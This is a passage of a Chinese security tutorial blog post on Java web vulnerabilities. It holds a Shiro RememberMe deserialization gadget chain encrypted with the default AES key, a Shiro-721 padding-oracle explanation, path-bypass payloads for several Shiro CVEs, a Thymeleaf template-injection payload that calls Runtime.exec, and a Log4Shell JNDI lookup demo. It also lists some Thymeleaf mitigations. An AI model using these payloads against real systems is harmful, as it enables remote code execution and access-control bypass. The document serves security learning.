        setFieldValue(impl, "_bytecodes", new byte[][]{calccc});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        Map map = new HashMap();
        TiedMapEntry e = new TiedMapEntry(outerMap, impl);
        map.put(e, "sakuya");
        outerMap.clear();

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }

    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

注意

shiro version < 1.4.2 对于cookie加密算法为AES-CBC

shiro version >= 1.4.2 对于cookie加密算法为AES-GCM

shiro721 1.x < version <= 1.4.1

shiro721简单来说就是在检验密文的时候 由于没有处理好完整性 导致漏洞

shiro721触发不需要key 他是通过aes-cbc模式中码学特性 在解密出的明文会进行填充检查 如果不对会报错 并且当前块明文还是取决于前一块密文

当前块明文 = 当前块中间值 xor 前一块密文

对于填充检查 如果当前明文的最后一个字节为0x01 前面一个字节就不该为0x01

如果最后一个字节为0x02 前面一个字节就该为0x02 依此类推

我们可以通过修改密文的最后一个字节 判断出什么时候明文最后一个字节会是0x01

又因为中间值不会发生改变 于是根据异或特性

当前块中间值 = 修改过的当前块明文 xor 修改过的前一块密文

可以得到中间值

明文 = 中间值 xor 前一块密文

得到了中间值就可以构造最后的明文 从而达到绕过key构造任意明文的效果

但是要得到一个cookie的中间值 需要大量爆破 动静很大 实战中容易被告警

详细内容可以直接看这篇师傅的表述 (上述描述相当简单。)

Shiro 721/CVE-2019-12422

路由权限绕过

PathMatchingFilterChainResolver核心类

shiro作为一个java安全框架 除了提供身份认证 还提供了路由检测

Shiro只做权限检测 不会进行路由转发 他只会判断当前路由应不应该鉴权

所有绕过都是在shiro路由鉴权的时候 匹配到不需要鉴权的路由

使得绕过权限检测 使得这次访问不需要鉴权 访问原始路径交给后面的tomcat或者是spring去路由转发

CVE-2010-3863 shiro < 1.1.0

没有requesturl做标准化处理 导致将最原始的访问路由与shiro.ini中写好的路由进行比对

/./admin

CVE-2016-6802 shiro < 1.3.2

ContextPath没有做标准化处理 导致shiro在匹配路由的时候没有匹配到 导致最后放行 最后由tomcat去处理

CVE-2020-1957 shiro < 1.5.2

shiro 与spring 和 tomcat对于;的处理不一样

/..;1=1/admin

CVE-2020-11989 shiro < 1.5.3

CVE-2010-3863 由于未标准化路径导致的绕过
CVE-2014-0074 使用 ldap 服务器认证时两个场景的绕过
CVE-2016-4437 RememberMe 反序列化漏洞
CVE-2016-6802 Context Path 路径标准化导致绕过
CVE-2019-12422 Padding Oracle Attack & CBC Byte-Flipping Attack
CVE-2020-1957 Spring 与 Shiro 对于 “/“ 和 “;” 处理差异导致绕过
CVE-2020-11989 Shiro 二次解码导致的绕过以及 ContextPath 使用 “;” 的绕过
CVE-2020-13933 1.6.0 由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致 导致的使用 “%3b” 的绕过
CVE-2020-17510 1.7.0 由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致 导致的使用 “%2e” 的绕过
CVE-2020-17523 1.7.1 Shiro 匹配鉴权路径时会对分隔的 token 进行 trim 操作 导致的使用 “%20” 的绕过
CVE-2021-41303 1.8.0 由于 Shiro 的 BUG 导致特定场景的绕过（不确定）

表达式到模板注入

什么是模板引擎（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，它可以生成特定格式的文档，用于网站的模板引擎就会生成一个标准的html文档。从字面上理解模板引擎，最重要的就是模板二字，这个意思就是做好一个模板后套入对应位置的数据，最终以html的格式展示出来，这就是模板引擎的作用。

thymeleaf

模板引擎

1
2
3
4
5
${} //变量表达式 
*{} //选择变量表达式
#{} //消息表达式
@{} //链接表达式
~{模板名::片段名} //片段引用表达式
1
2
3
4
5
//选择表达式
@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}
1
2
3
4
5
//片段选择器
@GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }
1
2
3
4
5
//拼接路径
@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
    }
1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__

解决

设置注解 @ResponseBody

1
2
3
4
5
@GetMapping("/safe/fragment")
    @ResponseBody
    public String safeFragment(@RequestParam String section) {
        return "welcome :: " + section;
    }

使用 @ResponseBody 注解告诉 Spring 将返回值作为响应体处理，而不是视图名称，因此无法进行模 板注入攻击。

设置重定向 redirect

1
2
3
4
@GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
        return "redirect:" + url; //FP as redirects are not resolved as expressions
    }

当视图名称以 redirect: 前缀开头时，Spring不再使用 Spring ThymeleafView 解析，而是使用 RedirectView 解析，该视图不会执行表达式。但存在 URL 跳转漏洞。

设置 response 响应

1
2
3
4
@GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document); //FP
    }

由于控制器在参数中具有 HttpServletResponse，Spring 认为已经处理了HTTP响应，因此视图名称解 析就不会发生。这个检查存在于 ServletResponseMethodArgumentResolver 类中。

但是这些解决方法实际只是不去渲染模板了 业务上来看是没有解决问题的 总的还是要杜绝渲染的参数可控 要有限制器

影响版本

image-20260506094601955

log4j2

来到大名鼎鼎的log4j2了

log4j2是apache提供的一个日志管理服务 记录日志信息

详细的介绍与使用可以看这篇文章

一文带你彻底掌握Log4j2

这个配置文件是网上随便找的一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>

<configuration status="info">
    <Properties>
        <Property name="pattern1">[%-5p] %d %c - %m%n</Property>
        <Property name="pattern2">
            =========================================%n 日志级别：%p%n 日志时间：%d%n 所属类名：%c%n 所属线程：%t%n 日志信息：%m%n
        </Property>
        <Property name="filePath">logs/myLog.log</Property>
    </Properties>
    <appenders> <Console name="Console" target="SYSTEM_OUT">
        <PatternLayout pattern="${pattern1}"/>
    </Console> <RollingFile name="RollingFile" fileName="${filePath}"
                            filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
        <PatternLayout pattern="${pattern2}"/>
        <SizeBasedTriggeringPolicy size="5 MB"/>
    </RollingFile>
    </appenders>
    <loggers>
        <root level="info">
            <appender-ref ref="Console"/>
            <appender-ref ref="RollingFile"/>
        </root>
    </loggers>
</configuration>

配置信息不用管 不是重点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2Test {
    public static void main(String[] args) {
    //获取logger
    Logger logger = LogManager.getLogger(LongFunction.class);
    //现在就可以记录日志了
    logger.info("info level111");

    }
}

基本使用就是先获取logger然后就可以记录日志了

image-20260512203530803

打印的内容和配置信息有关

CVE 2021-44228就是log4j2的rce 漏洞利用相对简单

查看官方文档

image-20260512203812040

log4j2提供一个查找功能 不难想到rmi jndi的lookup方法 文档里面也确实有这个接口

image-20260512203937468

提供一个可以使用jndi的api

${jndi:地址}

我们先使用一下这个lookupsApi具体怎么用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2Test {
    public static void main(String[] args) {
    Logger logger = LogManager.getLogger(LongFunction.class);
    String username = "sakuya";
    logger.info("info {}",username);
    logger.error("${java:os}");

    }
}

image-20260512204408192

将内容直接放入logger.info()里面 或者其他等级日志即可生效

log4j2还提供在字符串中可以使用{}用来占位 后续填写变量

我们使用一下jndi的api

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2Test {
    public static void main(String[] args) {
    Logger logger = LogManager.getLogger(LongFunction.class);
    String username = "${jndi:ldap://127.0.0.1/Calc}";
    logger.info("info {}",username);
    }
}

启动fakeldap

image-20260512204842977

成功弹出计算器

如果日志里面的变量可控 我们就可以写一个jndi 直接远程加载class文件实现rce

只需要变量可控即可 利用相对简单

现在来调试一下

说些什么吧！

gitalk